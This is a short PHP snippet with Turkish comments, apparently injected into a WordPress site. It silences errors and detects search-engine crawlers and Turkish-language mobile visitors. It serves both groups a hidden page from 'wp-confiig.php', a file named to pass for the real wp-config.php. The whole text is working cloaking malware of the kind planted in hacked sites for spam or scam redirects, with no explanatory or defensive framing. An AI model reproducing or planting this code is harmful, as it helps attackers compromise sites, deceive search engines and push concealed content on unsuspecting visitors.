error_reporting(0); set_time_limit(0); $bot_content_file = 'wp-confiig.php'; $mobile_tr_content_file = 'wp-confiig.php'; function is_spider() { $spiders = ['bot', 'slurp', 'spider', 'crawl', 'google', 'msnbot', 'yahoo', 'ask jeeves']; $s_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); foreach ($spiders as $spider) { if (stripos($s_agent, $spider) !== false) { return true; } } return false; } function is_mobile_and_turkish() { $mobile_agents = ['mobile', 'android', 'iphone', 'ipad', 'ipod', 'opera mini', 'windows phone']; $user_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $is_mobile = false; foreach ($mobile_agents as $agent) { if (stripos($user_agent, $agent) !== false) { $is_mobile = true; break; // Bir tane bulmak yeterli } } $lang_header = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''); $is_turkish = (strpos($lang_header, 'tr') === 0 || strpos($lang_header, 'tr-') === 0); return $is_mobile && $is_turkish; } if (is_spider()) { if (file_exists($bot_content_file)) { include $bot_content_file; exit(); } else { header("HTTP/1.0 404 Not Found"); exit("Bot içerigi bulunamadı."); } } elseif (is_mobile_and_turkish()) { if (file_exists($mobile_tr_content_file)) { include $mobile_tr_content_file; exit(); } else { header("HTTP/1.0 404 Not Found"); exit("Mobil ve TR içerigi bulunamadı."); } }